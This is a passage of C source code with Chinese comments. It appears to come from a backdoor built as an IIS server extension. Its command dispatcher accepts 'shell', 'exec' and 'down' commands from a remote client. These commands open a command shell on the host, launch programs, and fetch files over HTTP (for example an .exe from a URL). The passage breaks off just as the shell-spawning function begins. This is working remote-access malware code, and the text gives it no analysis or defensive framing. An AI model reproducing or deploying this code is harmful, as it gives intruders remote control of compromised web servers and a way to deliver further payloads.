else if( StartWith(buff , "shell") )
{
//如果没有参数
if( *( buff+6 ) == '' )
{
SendToClient( pECB , "Usage:shell ShellPath\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+6 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Shell ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程执行shell失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Get shell error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , INFINITE );
CloseHandle( hThread );
return;
}
else if( StartWith(buff , "exec") )
{
//如果没有参数
if( *( buff+5 ) == '' )
{
SendToClient( pECB , "Usage:shell ShellPath\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)ExecProgram ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程运行程序失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Execute program error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 10000 );
CloseHandle( hThread );
return;
}
//down命令,利用http协议下载文件
else if( StartWith(buff , "down") )
{
//如果没有参数
if( *( buff+5 ) == '' )
{
SendToClient( pECB , "Usage:down http://www.example.com/test.exe\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)DownLoad ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程下载文件失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Download file error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , INFINITE );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//命令不正确,输出帮助
else
{
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Help ,
(LPVOID)pECB ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程输出帮助信息失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Print help error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 5000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
}
//判断字符串buf1是否以buf2开头,是返回真
BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);
if( memcmp( buf1,buf2,len) == 0)
{
return TRUE;
}
return FALSE;
}
//运行shell
void Shell( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
STARTUPINFO si;
PROCESS_INFORMATION procInfo;
char cmdLine[ARGSIZE] = { 0 };
char buff[BUFFSIZE] = { 0 };






